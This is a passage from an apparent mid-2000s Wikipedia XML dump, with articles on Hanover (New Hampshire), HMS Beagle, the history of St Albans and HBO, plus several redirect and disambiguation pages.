      <text xml:space="preserve">#REDIRECT [[Higher-order logic]]</text>
    </revision>
  </page>
  <page>
    <title>Hanover, New Hampshire</title>
    <id>13937</id>
    <revision>
      <id>37097778</id>
      <timestamp>2006-01-28T17:28:05Z</timestamp>
      <contributor>
        <username>Womble</username>
        <id>363950</id>
      </contributor>
      <comment>/* Geography */ link fixing</comment>
      <text xml:space="preserve">[[Image:Dartmouth College Baker building.jpg|thumb|275px|[[Dartmouth College]]'s [[Baker Memorial Library]] is a prominent feature at the center of Hanover]]
Located on the [[Connecticut River]] in the state of [[New Hampshire]], [[United States]], '''Hanover''' has a population of 10,850.  It best known as the home of [[Dartmouth College]].  Hanover borders the towns of [[Lyme, New Hampshire|Lyme]], [[Canaan, New Hampshire|Canaan]], [[Enfield, New Hampshire|Enfield]], and [[Norwich, Vermont]], as well as the city of [[Lebanon, New Hampshire|Lebanon]].  Norwich and Hanover share the first and one of the few inter-state school districts in the nation. 

Norwich and Hanover are two of the small number of towns that travellers must pass through while hiking the [[Appalachian trail]].  Hanover is also the home of the [[US Army Corps of Engineers]] [[Cold Regions Research and Engineering Laboratory]] (CRREL).

== History ==
Prior to its incarnation as Hanover, the town was known as Dresden.  In the late 18th century, Dresden was one of a group of neighboring New Hampshire towns that briefly defected to [[Vermont]], when the Republic of Vermont was an independent nation.  This status was short-lived, however, as New Hampshire threatened the Republic of Vermont with war, with the aid of the other 12 states, if the towns were not returned.  As a result, Vermont rejected the towns' defections, and they were returned to New Hampshire in the US.
As an interesting historical note, the name &quot;Dresden&quot; is still used in the Dresden School District, an interstate school district serving both Hanover and [[Norwich, Vermont]]. Since 1769, the town has been home to [[Dartmouth College]].

== Geography ==
According to the [[United States Census Bureau]], the town has a total area of 130.0 [[square kilometre|km&amp;sup2;]] (50.2 [[square mile|mi&amp;sup2;]]).  127.1 km&amp;sup2; (49.1 mi&amp;sup2;) of it is land and 2.9 km&amp;sup2; (1.1 mi&amp;sup2;) of it is water.  The total area is 2.23% water. The town is located in [[Grafton County, New Hampshire]].  The tap water of Hanover is supplied by one primary reservoir. Several other reservoirs exist, but none are currently hooked up the town's water supply, and are considered insurance against a catastrophic drought. 

There are a great many trails and nature preserves in Hanover, and the majority of these trails are suitable for [[snow shoe]]s and cross-country [[ski]]s.

== Demographics ==
As of the [[census]][[Geographic references#2|&lt;sup&gt;2&lt;/sup&gt;]] of [[2000]], there are 10,850 people, 2,832 households, and 1,761 families residing in the town.  The [[population density]] is 85.3/km&amp;sup2; (221.0/mi&amp;sup2;).  There are 2,989 housing units at an average density of 23.5/km&amp;sup2; (60.9/mi&amp;sup2;).  The racial makeup of the town is 87.98% [[White (U.S. Census)|White]], 1.74% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.47% [[Native American (U.S. Census)|Native American]], 6.76% [[Asian (U.S. Census)|Asian]], 0.06% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.88% from [[Race (U.S. Census)|other races]], and 2.09% from two or more races.  2.54% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 2,832 households out of which 31.1% have children under the age of 18 living with them, 55.7% are [[Marriage|married couples]] living together, 4.8% have a female householder with no husband present, and 37.8% are non-families. 25.9% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.47 and the average family size is 2.96.

In the town the population is spread out with 15.1% under the age of 18, 37.6% from 18 to 24, 16.6% from 25 to 44, 17.1% from 45 to 64, and 13.6% who are 65 years of age or older.  The median age is 23 years.  For every 100 females there are 99.1 males.  For every 100 females age 18 and over, there are 96.5 males.

The median income for a household in the town is $72,470, and the median income for a family is $99,158. Males have a median income of $63,409 versus $35,771 for females. The [[per capita income]] for the town is $30,393.  9.1% of the population and 0.6% of families are below the [[poverty line]].  Out of the total population, 0.0% of those under the age of 18 and 3.0% of those 65 and older are living below the poverty line.

''See also'': [[Hanover (CDP), New Hampshire]]

== External links ==
*[http://www.hanovernh.org/ Town of Hanover]
*[http://www.dartmouth.edu Dartmouth College]
*[http://www.hanoverconservationcouncil.org/about.html Hanover Conservation Commission]
*[http://www.uvlt.org Upper Valley Land Trust]
*[http://www.uvtrails.org Upper Valley Trails Alliance]
*[http://www.uvscene.com  uvScene: a community blog for the Upper Valley of NH/VT]

{{New Hampshire}}

[[de:Hanover (New Hampshire)]]
[[Category:Towns in New Hampshire]]
[[Category:Grafton County, New Hampshire]]
[[Category:University towns]]</text>
    </revision>
  </page>
  <page>
    <title>High Performance Serial Bus</title>
    <id>13938</id>
    <revision>
      <id>15911522</id>
      <timestamp>2004-03-29T23:53:10Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
    </revision>
  </page>
  <page>
    <title>High performance serial bus</title>
    <id>13939</id>
    <revision>
      <id>15911523</id>
      <timestamp>2004-03-29T23:53:22Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
    </revision>
  </page>
  <page>
    <title>Holy Communion</title>
    <id>13940</id>
    <revision>
      <id>23490458</id>
      <timestamp>2005-09-18T23:09:34Z</timestamp>
      <contributor>
        <username>Jonathunder</username>
        <id>112889</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Eucharist]]</text>
    </revision>
  </page>
  <page>
    <title>Huntington Beach</title>
    <id>13941</id>
    <revision>
      <id>20806793</id>
      <timestamp>2005-08-11T21:56:41Z</timestamp>
      <contributor>
        <username>OCNative</username>
        <id>181247</id>
      </contributor>
      <text xml:space="preserve">'''Huntington Beach''' is the name of several places in the [[United States]]:

*'''[[Huntington Beach, California|Huntington Beach]]''' is a coastal city in [[Orange County, California|Orange County]], [[California]].
*'''[[Huntington Beach State Park|Huntington Beach]]''' is a state park in [[South Carolina]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>HMS Beagle</title>
    <id>13942</id>
    <revision>
      <id>42039061</id>
      <timestamp>2006-03-03T11:03:32Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/193.39.158.195|193.39.158.195]] ([[User talk:193.39.158.195|talk]]) to last version by Jbattersby</comment>
      <text xml:space="preserve">[[Image:HMSBeagle.jpg|thumb|300px|right|HMS ''Beagle'' (centre) from an 1841 watercolour by Owen Stanley, painted during the third voyage while surveying [[Australia]].]]
{{otheruses2|HMS Beagle}}
'''HMS ''Beagle''''' was a [[Cherokee class brig-sloop|''Cherokee'' class]] 10-gun [[brig]] of the [[Royal Navy]], named after the [[beagle]], a breed of dog. She was [[ship naming and launching|launched]] on [[11 May]] [[1820]] from the [[Woolwich Dockyard]] on the [[River Thames]], at a cost of £7,803. In July of that year she took part in a naval review celebrating the coronation of King [[George IV of the United Kingdom]] in which she was the first ship to sail under the new [[London Bridge]]. After that there was no immediate need for ''Beagle'' so she was kept in reserve for five years and &quot;lay in ordinary&quot;, moored afloat but unmanned. She was then adapted as a survey [[barque]] and took part in three expeditions. On the second survey voyage the young naturalist [[Charles Darwin]] was on board, and his work would eventually make the ''Beagle'' one of the most famous ships in history.

==First Voyage==
{| border=&quot;1&quot; align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|colspan=&quot;2&quot;|
|-
!align =&quot;center&quot; style=&quot;color: white; height: 30px; background: navy no-repeat scroll top left;&quot;|Career
!style=&quot;color: white; height: 30px; background: navy no-repeat scroll top left;&quot;|[[image:RN-White-Ensign.svg|60px|Royal Navy Ensign]]
|-
|Ordered:
|
|-
|Laid down:
|
|-
|Launched:
|[[11 May]] [[1820]]
|-
|Commissioned:
|
|-
|Decommissioned:
|[[1845]] transferred to Coastguard
|-
|Fate:
|Sold and broken up [[1870]]
|-
|Struck:
|
|-
!colspan=&quot;2&quot; align=&quot;center&quot; style=&quot;color: white; height: 30px; background: navy  no-repeat scroll top left;&quot;|General Characteristics
|-
|Displacement:
|235 tons (242 tons for second voyage)
|-
|Length:
|90.3 ft (27.5 m)
|-
|Beam:
|24.5 ft (7.5 m)
|-
|Draught:
|12.5 ft (3.8 m)
|-
|Propulsion:
|Sail
|-
|Speed:
|
|-
|Range:
|
|-
|Complement:
|120 as a ship-of-war, 65 plus 9 supernumeraries on second voyage
|-
|Armament:
|10 guns, reduced to 6 guns for survey voyages
|-
|Aircraft:
|none
|-
|Motto:
|
|}
On [[27 September]] [[1825]] ''Beagle'' docked at Woolwich for repairs and fitted out for her new duties at a total cost of £5,913. Her guns were reduced from ten cannons to six and a mizzenmast was added to improve her manoeuvrability, thereby changing her from a [[brig]] to a [[barque|bark]] (or barque).

''Beagle'' set sail on [[22 May]] [[1826]] for her first voyage, under the command of Captain Pringle Stokes. The mission was to accompany the larger ship [[HMS Adventure (1809)|HMS ''Adventure'']] (380 tons) on a [[hydrographic]] survey of [[Patagonia]] and [[Tierra del Fuego]], under the overall command of the Australian Captain [[Philip Parker King]]. 

Faced with the more difficult part of the survey in the desolate waters of [[Tierra del Fuego]], Captain Pringle Stokes fell into a deep depression. At [[Puerto Hambre|Port Famine]] on the [[Strait of Magellan]] he locked himself in his cabin for 14 days, then (in August [[1828]]) shot himself and died in delirium 11 days later. Captain Parker King then replaced Stokes with the Executive Officer of the ''Beagle'', Lieutenant W.G. Skyring. They sailed to [[Rio de Janeiro]] where on [[15 December]] [[1828]] Rear Admiral Sir [[Robert Otway]], commander in chief of the South American station aboard [[HMS Ganges (1821)|HMS ''Ganges'']], named as (temporary) Captain of the ''Beagle'' his aide, Flag Lieutenant [[Robert FitzRoy]].

The 23 year old aristocrat FitzRoy proved an able commander and meticulous surveyor. In one incident a group of Fuegians stole a ships boat, and FitzRoy took their families on board as hostages. Eventually he held two men, a girl and a boy who was given the name of [[Jemmy Button]], and these four native Fuegians were taken back with them when the ''Beagle'' returned to [[Plymouth]], England on [[14 October]] [[1830]].

==Second voyage==
''For more detail see [[The Voyage of the Beagle]].''

It was originally intended that [[HMS Chanticleer|''Chanticleer'']] would make the second South American Survey, but due to her poor condition ''Beagle'' was substituted for the voyage. FitzRoy had been considering how to return the Fuegians who had trained as missionaries, and on [[25 June]] [[1831]] he was re-appointed as commander. The ''Beagle'' was [[ship commissioning|commissioned]] on [[4 July]] [[1831]] under the command of Captain Robert FitzRoy. 

She was immediately taken into dock for extensive rebuilding and refitting. As she required a new deck, FitzRoy had the upper-deck raised considerably, by 8 inches (200 mm) aft and 12 inches (300 mm) forward. The Cherokee class ships had the reputation of being &quot;coffin brigs&quot;, which handled badly and were prone to sinking. By helping the decks to drain more quickly with less water collecting in the [[Gunwale|gunnel]]s, the raised deck gave the Beagle better handling and made her less liable to become top-heavy and capsize. Additional sheathing added to the hull added about 7 tons to her displacement. FitzRoy spared no expense in her fitting out, which included 22 chronometers and 5 of a kind of barometer he had invented.

Particularly in the light of the fate of Stokes and the suicide of his own uncle, FitzRoy was concerned about the lonely position of a captain at that time. His attempts to get a friend to accompany him fell through, and he asked his friend and superior, Captain [[Francis Beaufort]], to seek a gentleman passenger who would act as a companion as well as having opportunities as a [[Natural history|naturalist]]. This led to [[Charles Darwin]] joining the voyage. 

''Beagle'' was originally scheduled to leave on [[October 24]], [[1831]] but because of delays in her preparations the departure was delayed until December. She attempted to depart on [[10 December]] but ran into bad weather. Finally, on [[December 27]] at 2:00 pm, the ''Beagle'' left Plymouth harbour on what was to become a groundbreaking scientific expedition. After completing extensive surveys in [[South America]] she returned via [[New Zealand]] to [[Falmouth, Cornwall]], [[England]] on [[2 October]] [[1836]].

==Third voyage==
[[Image:HMS_Beagle_by_Conrad_Martens.jpg|thumb|300px|right|The ''Beagle'' being hailed by native Fuegians during the survey of [[Tierra del Fuego]], painted by [[Conrad Martens]] who became ship's artist in 1833.]]
Six months later, ''Beagle'' set off in [[1837]] to survey large parts of the coast of [[Australia]] under the command of Commander [[John Clements Wickham]], with assistant surveyor Lieutenant [[John Lort Stokes]] who had been a Midshipman on the first voyage of the ''Beagle'', then mate and assistant surveyor on the second voyage (no relation to Pringle Stokes). They started with the western coast between the [[Swan River, Western Australia|Swan River]] (modern [[Perth, Western Australia|Perth]], [[Australia]]) and the [[Fitzroy River, Western Australia]], then surveyed both shores of the [[Bass Strait]] at the southeast corner of the continent. In May [[1839]] they sailed north to survey the shores of the [[Timor Sea|Arafura Sea]] opposite [[Timor]]. Wickham named the [[Beagle Gulf]] and Port Darwin, which was first sighted by Stokes and which later gave its name to the city of [[Darwin, Northern Territory|Darwin]], [[Australia]]. When Wickham fell ill and resigned, the command was taken over in March [[1841]] by Lieutenant John Lort Stokes who continued the survey. The third voyage was completed in [[1843]].

==Final years==
In [[1845]] the ''Beagle'' was refitted as a static [[coastguard]] watch vessel and transferred to [[Customs and Excise]] to control smuggling on the [[Essex]] coast to the north bank of the [[Thames estuary]]. She was moored mid-river on the [[River Roach]] which forms part of a maze of waterways in the marshes south of [[Burnham-on-Crouch]]. In [[1851]] [[oyster]] companies and traders petitioned for her to be removed as she was obstructing the river, and the [[1851]] [[Navy List]] dated [[25 May]] showed her renamed as ''Southend &quot;W.V. No. 7&quot; at Paglesham''. In [[1870]], she was sold to local scrap merchants &quot;Murray and Trainer&quot; for breaking up.

Investigations started in [[2000]] by a team led by Dr Robert Prescott of the [[University of St Andrews]] found documents confirming that ''&quot;W.V. 7&quot;'' was the ''Beagle'', and noted a vessel matching her size shown midstream on the [[1847]] hydrographic survey chart. A later chart showed a nearby indentation to the north bank which could have been a dock for the ''Beagle''. Site investigations found an area of [[marsh]]y ground some 15 ft (5 m) deep matching this chart position, with many fragments of [[pottery]] of the correct period. 

An [[atomic dielectric resonance]] survey carried out in November [[2003]] found traces of timbers forming the size and shape of the lower hull, indicating a substantial amount of timbers from below the waterline still in place. An old [[anchor]] of [[1841]] pattern was excavated. It was also found that the [[1871]] [[census]] recorded a new [[farmhouse]] in the name of William Murray and Thomas Rainer, leading to speculation that the merchant's name was a misprint for T. Rainer. The farmhouse was demolished in the [[1940s]], but a nearby boathouse incorporated timbers matching [[knee timber]]s used in the ''Beagle''. Further investigations are proposed.

Their investigations featured in a [[British Broadcasting Corporation|BBC]] [[Television]] programme which showed how each watch ship would have accommodated 7 coastguard officers, drawn from other areas to minimise collusion with the locals. Each officer had about 3 rooms to house their family, forming a small community. They would use small boats to intercept smugglers, and the investigators found a [[causeway]] giving access at low tide across the soft mud of the river bank. Apparently the next coastguard station along was the ''Kangaroo'', a sister ship of the ''Beagle''.

==External links==
*[http://www.caphorniers.cl/Fitz%20Roy/relato%20ing/testimony01.htm Visit and Testimony of Captain Fitz-Roy]
*[http://www.portcities.org.uk/london/server/show/ConFactFile.64/HMS-Beagle.html HMS ''Beagle'' - Port Cities]
*[http://www.asap.unimelb.edu.au/bsparcs/covingto/chap_1.htm The Journal of Syms Covington - Chapter 1.]
*[http://news.bbc.co.uk/2/hi/science/nature/3490564.stm BBC News - Darwin's Beagle ship 'found']
*[http://observer.guardian.co.uk/uk_news/story/0,6903,1148523,00.html The Observer - Evolution of radar points to HMS Beagle's resting place.]

==Source==
*''Voyage of the Beagle'', Charles Darwin (including FitzRoy's commentary on refitting the ''Beagle'' from his account of the voyage), Penguin Books, London 1989 ISBN 0-14-043268-X

==See also==
* [[Beagle 2]] - [[Mars (planet)|Mars]] space probe named after HMS ''Beagle'', which unsuccessfully landed [[25 December]] [[2003]]
*[[The Voyage of the Beagle]] - A book written by [[Charles Darwin]] about the ''Beagle'''s second voyage
*[[Beagle Channel]]

[[Category:Exploration of Australia|Beagle]]
[[Category:Exploration of Western Australia|Beagle]]
[[Category:Sailboat names|Beagle]]
[[Category:Exploration ships|Beagle]]

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[[tr:HMS Beagle]]</text>
    </revision>
  </page>
  <page>
    <title>Hergenroether</title>
    <id>13943</id>
    <revision>
      <id>15911527</id>
      <timestamp>2005-03-13T05:52:57Z</timestamp>
      <contributor>
        <username>Kevyn</username>
        <id>71581</id>
      </contributor>
      <comment>Fix Double Redirect - [[WP:WS|Please help out by clicking here to fix someone else's Wiki syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Joseph Hergenröther]]</text>
    </revision>
  </page>
  <page>
    <title>History of St Albans</title>
    <id>13945</id>
    <revision>
      <id>41779071</id>
      <timestamp>2006-03-01T18:12:27Z</timestamp>
      <contributor>
        <ip>195.217.52.130</ip>
      </contributor>
      <comment>/* An early transport hub */ m: add coaching inns</comment>
      <text xml:space="preserve">'''[[St Albans]]''' is in southern [[Hertfordshire]], England, around 22 miles (35.5km) north of London, beside the site of a [[Catuvellauni]] settlement and the [[Roman Britain|Roman]] town of [[Verulamium]].
==The Romans leave==
The post-Roman development of St Albans was in memorial to Saint [[Alban]], the earliest known British Christian [[martyr]], executed in circa AD [[250]] (the exact date is a matter of some controversy, with scholars suggesting dates of [[209]], [[254]] and [[304]]). The town itself was known for some time by the Saxon name ''Verlamchester''.
A shrine was erected on the site of his death following Emperor [[Constantine I (emperor)|Constantine]]'s adoption of [[Christianity]] as the religion of the [[Roman Empire]]. In the [[5th century]] a monastic church was constructed.

==The Abbey is founded==
Another [[abbey]] was founded by King [[Offa of Mercia]] in 793. The settlement grew up around the precincts of another [[monastery]], founded in AD 900-950 by [[Abbot Ulsinus]] (also known as Wulsin). According to [[Matthew Paris]], the 13th century chronicler of St Albans Abbey, Abbot Ulsinus (Wulsin) founded three churches in [[948]], reputedly to tend to the physical and spiritual needs of the growing number of pilgrims to Alban's shrine: St Peter's, St Stephen's and St Michael's.  Each church was equidistant from the Abbey and on one of the main approaches to the town.

Also in [[948]], Abbott Ulsinus (Wulsin) founded [[St Albans School]], an education establishment still in use.

Around 500 people lived in the town in 1086 (at the time of the [[Domesday Book]]). 

The building of the Abbey Church (now the [[St Albans Cathedral|Cathedral and Abbey Church of St Alban]]) was started in 1077 by [[Paul de Caen]], the 14th Abbot and completed in 1089. It was 350 feet long with a tower and seven apses. 

The head of the abbey was confirmed as the premier abbot in England in 1154. The abbey was extended by [[John de Cella]] in the 1190s, and again between 1257 and 1320 but financial constraints limited the effectiveness of these later additions. A [[convent]] was founded nearby in 1140.

In [[August]] [[1213]] the first draft of the [[Magna Carta]] was drawn up in [[St Albans Abbey]].

In [[1290]] the funeral procession of [[Eleanor of Castile]] stopped overnight in the town and an [[Eleanor cross]] was erected at a cost of £100 in the Market Place. The cross, which stood for many years in front of the 15th century Clock Tower, was demolished in 1701.

A market was running outside the abbey from the 10th Century, it was confirmed by King John in 1202 and by a [[Royal Charter]] of Edward VI in 1553.

==Conflict==
[[Image:20040409-003-abbey-gateway.jpg|thumb|Abbey Gateway from the 1360s]]
During the 14th century the Abbey came into increasing conflict with the townsfolk of St Albans, who demanded rights of their own.  This led, among other
things, to the construction of a large wall and gate surrounding the Abbey (for instance, the Great Gatehouse, the &quot;Abbey Gateway&quot;, which is the only surviving monastic building other than the Abbey Church, dates from 1365). 

St Albans played a role in the [[Peasants' Revolt]] of [[1381]]: the peasants, led by a local man William Grindcobbe and [[Jack Straw (rebel leader)|Jack Straw]], forced their way into the Abbey and demanded a charter for the freedom of St Albans from the Abbot ('Charter of freedom of the villeins of St Alban's forcibly obtained from the Abbot and Convent', 16 June 1381 ).  However, this was short-lived. Once the 14 year old King [[Richard II of England|Richard II]] had regained control of the capital and then the whole country, Grindcobbe was tried in the Moot Hall and adjudged a 'traitor' alongside [[John Ball (priest)|John Ball]] ('the mad priest of Kent', one of the rebel leaders who had escaped from [[Smithfield, London|Smithfield]] to [[Coventry]]). He was hung, drawn and quartered in July 1381.

Another notable building dating from around this time, the Clockhouse belfy or Clock Tower, built between 1403 and 1412, seems to have been intended both as a visible and audible statement of the town's continuing civic ambitions against the power of the Abbot.

During the [[Wars of the Roses]] two battles were fought in and around St Albans. The [[First Battle of St Albans]] on 22 May [[1455]] was a Lancastrian defeat that opened the war. The Lancastrian army occupied the town but the Yorkist forces broke in and a battle took place in the streets of the town. On 17 February [[1461]] the [[Second Battle of St Albans]] on Bernards Heath north of the town centre resulted in a Lancastrian victory. 

Following the [[Reformation]], the Abbey was dissolved in 1539 and the Abbey Church sold to the town in 1553 for £400: it became a protestant parish church for the borough and the Lady Chapel was used as a [[St Albans School|school]]. The great gateway was used as a prison until the 19th century. In May 1553, in response to a public petition, the first [[royal charter]] for the town was issued by King [[Edward VI of England|Edward VI]], granting it the status of [[borough]]. The charter defined the powers of the mayor and councillors, then known as burgesses, as well as specifying the Wednesday and Saturday market days which continue to this day.

During the [[English Civil War]] (1642-45) the town sided with parliament but was largely unaffected by the conflict.
==An early transport hub==
Three main roads date from the [[medieval]] period - Holywell Hill, St Peter's Street, and Fishpool Street. These remained the only major streets until around 1800 when London Road was constructed, to be followed by Hatfield Road in 1824 and Verulam Road in 1826. 

Verulam Road was created specifically to aid the movement of stage coaches, since St Albans was the first major stop on the [[stagecoach|coaching]] route north from London. The large number of [[coaching inn|coaching inns]] is, in turn, one reason why the City has so many [[public house|pubs]] today (another being that it was, and remains, a major centre for [[Christianity|Christian]] [[pilgrimage]]). 

The railway arrived in 1868, off-setting the decline in coaching since the 1840s.

Growth was always slow and steady, with no sudden burst: in 1801 there were 6,000 people living in St Albans, in 1850 11,000, in 1931 29,000, and in 1950 44,000.

==The City Charter==
In [[1877]], in response to a public petition, Queen [[Victoria of the United Kingdom|Victoria]] issued the second [[royal charter]], which granted city status to the borough and Cathedral status to the former Abbey Church. Lord Grimthorpe financed a £130,000 renovation and rebuilding of the then dilapidated cathedral, which is most apparent in his generally poorly regarded [[Neo-Gothic]]-style rebuild of the west front. However, without Grimthorpe's money, it seems reasonable to assume that the Abbey Church would now almost certainly be a ruin, like many other churches of former monasteries.

The [[football (soccer)|football]] club was founded in 1880.

[[Ralph Chubb]], the poet and printer, lived on College Street in St Albans from 1892 to 1913, and attended the Abbey School (the local name for [[St Albans School]]).  His work frequently references the Abbey of St Albans, and he ascribed mystical significance to the geography and history of the town.
==Modern growth==
===Between the wars===
In the inter-war years St Albans, in common with much of the surrounding area, became a centre for emerging high-technology industries, most notably [[aerospace]]. Nearby [[Radlett]] was the base for [[Handley Page Aircraft Company|Handley Page]], while [[Hatfield]] became home to [[de Havilland]] (later [[Hawker-Siddeley]]). St Albans itself became a centre for the [[Marconi plc|Marconi]] company, specifically, [[Marconi Instruments]]. Marconi (later part of [[The General Electric Company]]) remained the city's largest employer (with two main plants) until the 1990s. A third plant - working on top secret defence work - also existed. Even Marconi staff only found out about this when it closed down. All of these industries are now gone from the area.

In 1936 St Albans was the last but one stop for the [[Jarrow Crusade]].

===Post-war growth===
The City was expanded significantly after [[World War II]], as government policy promoted the creation of [[New Towns]] and the expansion of existing towns. Substantial amounts local authority housing were built at Cottonmill (to the south), Mile House (to the south-east) and New Greens (to the north). The Marshalswick area to the north-east was also expanded, completing a pre-war programme.

In 1974 St Albans City Council, St Albans Rural District Council and Harpenden Town Council were merged to form St Albans District Council (part of a much wider local government reorganisation).

The 2001 census returns show a population of 129,000 for St Albans City and District.

==External links==

*[http://www.salbani.co.uk/ St Albans History and Archaeology]; Chris Saunders.
*[http://31.1911encyclopedia.org/S/ST/ST_ALBANS.htm St Albans], 1911 encyclopedia article.

[[Category:History of England by locality|Saint Albans]]
[[Category:History of Hertfordshire]]
[[Category:St Albans]]</text>
    </revision>
  </page>
  <page>
    <title>Home Box Office</title>
    <id>13946</id>
    <revision>
      <id>41945438</id>
      <timestamp>2006-03-02T20:23:46Z</timestamp>
      <contributor>
        <ip>87.7.227.12</ip>
      </contributor>
      <comment>+it</comment>
      <text xml:space="preserve">{{redirect|HBO}}
{{Infobox Network |
| network_name = HBO
| network_logo =  [[Image:HBO logo.gif|150px|center|HBO logo]]
| headquarters = [[New York, NY]]
| network_type = [[Cable television|Cable]] [[Television network|network]] ([[movies]], [[sports]])
| available    = National
| owner        = Home Box Office, Inc. ([[Time Warner]])
| launch_date  = [[November 8]], [[1972]]
| key_people   = Chris Albrecht - Chairman and CEO
| past_names   = None
| website      = http://www.hbo.com/
}}
'''HBO''' ('''Home Box Office''') is a [[premium television|premium]] [[Cable television|cable television network]] with headquarters in [[Media of New York City|New York City]]. HBO airs theatrically released feature [[film]]s, proprietary original full-length [[television movie]]s, and various original series. One of its most recent documentaries was &quot;Dare to Dream&quot; about the U.S. Women's Soccer Team and their effort to make a difference. This documentary featured Mia Hamm, Kristine Lilly, Brandy Chastain, Joy Fawcett, and Julie Foudy. 
Some of HBO's popular series' past and present include: ''[[Oz (TV series)|Oz]]'', ''[[Sex and the City]]'', ''[[The Sopranos]]'', ''[[Curb Your Enthusiasm]]'', ''[[Six Feet Under]]'', ''[[Carnivàle]]'', ''[[Deadwood (television)|Deadwood]]'', ''[[Entourage (television series)|Entourage]]'', ''[[Band of Brothers]]'', ''[[Rome (TV series)|Rome]]'' and ''[[Extras (sitcom)|Extras]]'' (the last three were in collaboration with the [[BBC]]). HBO broadcasts [[boxing]] matches under the banner name [[HBO Boxing]] &amp; B.A.D. (Boxing After Dark)

==History==
HBO was the first cable network to originate as a non-terrestrial broadcast TV network. In reality, it all started in 1965, after cable pioneer and visionary [[Charles Francis Dolan]] won the franchise to build a cable system in lower [[Manhattan]]. The new system, named Sterling Manhattan Cable by Mr. Dolan, was the nation's first urban underground cable system. Instead of stringing cable on telephone poles and using [[microwave]] antennas to receive the signals, Sterling laid underground cable beneath the streets of Manhattan because television signals were blocked by many tall buildings.  Time Life, Inc., in the same year, purchased 20 percent of Dolan's company.
[[Image:HBO 1970s.jpg|right|thumb|150px|HBO logo used from 1975-1980.]]
In early 1970, looking for new revenue sources, Mr. Dolan came up with the idea of creating a ''Green'' channel for which subscribers would pay extra to receive uncut commercial-free movies and sports coverage. To help run his new project, Dolan hired a young attorney named [[Gerald Levin]], who had experience in contracting for televised films and sporting events, as his Vice President of Programming. 

Dolan presented his &quot;Green Channel&quot; idea to Time Life management, and though satellite distribution was only a distant possibility at the time, he persuaded Time Life to back him, and soon &quot;The Green Channel&quot; became Home Box Office on November 8, 1972. HBO began using microwave to feed its programming. The first program aired over the pay-channel was a New York Rangers / Vancouver Canucks game, to a [[CATV]] system in [[Wilkes Barre, Pennsylvania]]. 

Sterling Manhattan Cable was rapidly losing money because the company had a small subscriber base of 20,000 customers in Manhattan. Dolan's media partner, Time Life, Inc., gained 80 percent control of Sterling and decided to pull the plug on the Sterling Manhattan operation. Time Life dropped the Sterling name to become Manhattan Cable Television and gained control of HBO in March, 1973. Gerald Levin replaced Dolan as HBO's President and Chief Executive Officer. In September 1973, Time Life, Inc. completed its acquisition of the pay service. HBO was soon on 14 systems in New York and Pennsylvania, but the churn rate was exceptionally high. Subscribers would sample the service for a few weeks, get weary of seeing the same films, and then cancel. HBO was struggling and something had to be done. When HBO first came to Lawrence,Massachusettes,the idea was to allow subscribers to preview the service for free on channel 3. After a month,the service moved to channel 6 and was scrambled. The preview proved popular, obtaining many subscriptions and the concept was used elsewhere. (Lawrence recieves HBO on channel 301 today.)

In [[1975]], HBO became the first TV network to broadcast its signals via [[Communications satellite|satellite]] when it showed the &quot;[[Thrilla in Manila]]&quot; [[boxing]] match between [[Muhammad Ali]] and [[Joe Frazier]]. On [[December 28]], [[1981]], HBO expanded its programming schedule to 24 hours a day, seven days per week. (Cinemax was 24/7 from the day it signed on,and showtime and TMC went 24 hours earlier.) In January [[1986]], HBO also became the first satellite network to [[Cryptography|encrypt]] its signal from unauthorized viewing by way of the [[Videocipher]] II System. Later, HBO was one of the first cable TV networks to broadcast a [[High-definition television|high-definition]] version of its channel.

Originally, HBO was part of [[Time Inc.]]. When Time merged with Warner Communications in 1989, it became part of [[Time Warner]], who serves as its parent company today.

HBO also manages sister network [[Cinemax]], which focuses more on movies and less on original series. Cinemax (or &quot;Skinamax&quot; and &quot;Sinamax&quot; in some circles) has been accused of being an outlet for soft-core pornography during late night hours.

HBO has also developed a reputation for offering very high quality original programming.  HBO is a subscription-only service and does not carry normal commercials; both of these factors relieve HBO from pressures to [[censorship|tone down controversial aspects]] in their programs, thus allowing for explicit themes, such as graphic [[violence]], explicit [[Human sexual behavior|sex]], [[profanity]], and even [[recreational drug use|drug use]].

The network is currently received in roughly one-third of households in the [[United States]].  It can be quite expensive to acquire HBO because subscribers are generally required to pay for an extra &quot;tier&quot; of service even before paying for the channel itself (though all of the HBO channels are often priced together in a single package). Someone upgrading from a standard cable package might see their bill increase more than 40%. However, federal law requires that a cable system allow a person to get just basic cable (local broadcast channels) and HBO. Cable systems can require the use of a converter box (usually digital) to receive HBO.

Even in the days of the V chip, the primary HBO channel still does not run unedited R rated films or TV-MA rated programming during the daytime. HBO's multiplex channels will do so (excluding HBO Family, which doesn't run R rated films at all and will generally run PG-13 rated films only between 6 p.m. and 6 a.m.).

Since TV [[critic]]s are generally obliged to keep track of HBO, but the general public is not, the network's influence can be overstated. However, several HBO programs have been re-aired on other networks and local syndication (usually after some editing), and a number of them are also available on DVD. Interestingly, since HBO's more successful series, most notably the trio of ''[[Sex and the City]]'', ''[[The Sopranos]]'', and ''[[Six Feet Under]]'', are broadcast on non-cable networks in other countries, such as in the [[United Kingdom]] and [[Australia]], HBO programming has the potential to be seen by a higher percentage of the population of those countries as compared to the U.S. Because of the high cost of HBO, many Americans only view HBO programs on [[DVD]]s or in basic cable or broadcast [[television syndication|syndication]], months or even years after the network has first broadcast the programs.

HBO has international operations in Latin America, the Czech Republic, Hungary, Romania, Poland, Slovenia, Bulgaria, Pakistan and India. It also had an early investment in [[New Zealand]]'s [[SKY Network Television]] through the channel HBO (now Sky Movies).

